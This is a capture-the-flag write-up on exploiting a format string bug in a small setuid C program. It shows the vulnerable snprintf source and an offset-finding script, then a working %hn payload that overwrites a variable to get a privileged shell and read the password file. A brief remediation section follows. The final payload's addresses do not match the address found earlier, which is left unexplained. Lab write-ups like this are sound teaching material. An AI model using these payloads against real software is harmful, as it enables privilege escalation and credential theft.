



ELF x86 - Format string bug basic 2

Abdoulkader MOUSSA MOHAMED

April 2023

1 Search vulnerability

Here are the protections on the program :

- × Position Independent Executable
- × Read Only relocations
- ✓ Pile non exécutable
- ✓ Tas non exécutable
- × Distribution aléatoire de l'espace d'adressage
- × Source Fortification
- ✓ Stack-Smashing Protection
- ✓ Accès au code source

Let's firstly read the source code of our program.

```
1  ..
2  int main( int argc, char ** argv )
3
4  {
5
6      int var;
7      int check = 0x04030201;
8
9      char fmt[128];
10
```

```

11     if (argc < 2)
12         exit(0);
13
14     memset( fmt, 0, sizeof(fmt) );
15
16     printf( "check at 0x%x\n", &check );
17     printf( "argv[1] = [%s]\n", argv[1] );
18
19     snprintf( fmt, sizeof(fmt), argv[1] );
20
21     if ((check != 0x04030201) && (check != 0xdeadbeef))
22         printf ( "\nYou are on the right way !\n");
23
24     printf( "fmt=[%s]\n", fmt );
25     printf( "check=0x%x\n", check );
26
27     if (check==0xdeadbeef)
28     {
29         printf("Yeah dude ! You win !\n");
30         setreuid(geteuid(), geteuid());
31         system("/bin/bash");
32     }
33 }

```

We notice that :

- * The input data provided to the program (as an argument) will be stored in the buffer `fmt` by the function `snprintf`. However, the call to `snprintf` in this context is vulnerable to **format string** attacks.
- * By exploiting the **format string** vulnerability, we can modify the value of `check` to `0xdeadbeef` and gain access to a **root** shell.

2 Exploit it !

We have to find where `AAAA(0x41414141 in hexadecimal)` lies. For that, we use the following script :

```

1 for i in $(seq 10); do
2 echo -n "$i: ";
3     /challenge/app-systeme/ch14/ch14 "$(echo -e "AAAA%i\$p")";
4 done

```

The index we are looking for is 9 :

```

9: check at 0xbffffa88
argv[1] = [AAAA%9$p]
fmt=[AAAA0x41414141]
check=0x4030201

```

Then we need to know the address of `check`. `check` is at `0xbffffa88`.

Let's do a quick test to see if everything is working properly so far. We will write 16 (0x10) in `check`.

```
1 app-systeme-ch14@challenge02:~$ ./challenge/app-systeme/ch14/ch14 "$(echo -e "\x88\xfa\xff\xbf%12d%9$n")"
```

Output :

```
check at 0xbffffa88
argv[1] = [%12d%9$n]
```

```
You are on the right way !
fmt=[ 134514161]
check=0x10
```

Great, it worked! Now we need to write the value `0xdeadbeef`, but it's a very large number. We'll need to break it down into smaller parts :

beef dead

beef --> 0xbeef - 4 - 4 --> 48871 (-4 -4 because we will give 2 addresses)

dead --> 0xdead - 0xbeef ---> 8126

```
%48871%9$hn
%8126%10$hn
```

2 addresses: `0xbffffa88 && 0xbffffa8a(0xbffffa88 + 2)`

Let's run our program and get our flag :

```
1 app-systeme-ch14@challenge02:~$ ./ch14 "$(echo -e "\xb8\xfa\xff\xbf
2 \xba\xfa\xff\xbf%48871x%9$hn%8126x%10$hn")"
3 ..
4 Yeah dude ! You win !
5 app-systeme-ch14-cracked@challenge02:~$ id
6 uid=1214(app-systeme-ch14-cracked) gid=1114(app-systeme-ch14)
7 groupes=1114(app-systeme-ch14),100(users)
app-systeme-ch14-cracked@challenge02:~$ cat .passwd
flag*****
```

3 How to correct it

There are several compiler options that can issue warnings when a format string bug is detected like `-Wformat`, `-Wformat-overflow`.